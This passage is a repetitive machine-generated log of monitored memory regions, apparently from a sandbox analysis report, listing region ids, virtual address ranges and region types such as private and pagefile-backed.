monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1382 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1383 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1384 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1385 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1386 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1387 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1388 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1389 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1390 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1391 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1392 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1393 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1394 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1395 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1396 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1397 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1398 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1399 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1400 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1401 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1402 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1403 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1404 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1405 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1406 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1407 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1408 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1409 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1410 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1411 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1412 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1413 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1414 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1415 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1416 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1417 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1418 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1419 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1420 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1421 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1422 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1423 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1424 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1425 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1426 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1427 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1428 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1429 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1430 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1431 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1432 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1433 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1434 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1435 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1436 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1437 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1438 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1439 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1440 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1441 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1442 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1443 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1444 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1445 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1446 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1447 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1448 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1449 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1450 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1451 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1452 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1453 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1454 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1455 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1456 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1457 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1458 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1459 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1460 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1461 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1462 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1463 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1464 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1465 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1466 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1467 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1468 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1469 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1470 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1471 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1472 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1473 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1474 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1475 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1476 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1477 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1478 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1479 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1480 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1481 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1482 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1483 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1484 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1485 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1486 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1487 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1488 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1489 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1490 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1491 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1492 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1493 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1494 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1495 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1496 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1497 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1498 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1499 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1500 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1501 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1502 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1503 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1504 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1505 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1506 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1507 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1508 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1509 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1510 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1511 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1512 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1513 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1514 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1515 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1516 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1517 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1518 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1519 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1520 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1521 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1522 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1523 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1524 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1525 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1526 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1527 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1528 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1529 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1530 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1531 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1532 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1533 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1534 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1535 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1536 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1537 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1538 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1539 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1540 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1541 start_va = 0x2270000 end_va = 0x2270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1542 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1543 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1544 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1545 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1546 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1547 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1548 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1549 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1550 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1551 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1552 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1553 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1554 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1555 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1556 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1557 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1558 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1559 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1560 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1561 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1562 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1563 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1564 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1565 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1566 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1567 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1568 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1569 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1570 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1571 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1572 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1573 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1574 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1575 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 1576 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1577 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1578 start_va = 0x4340000 end_va = 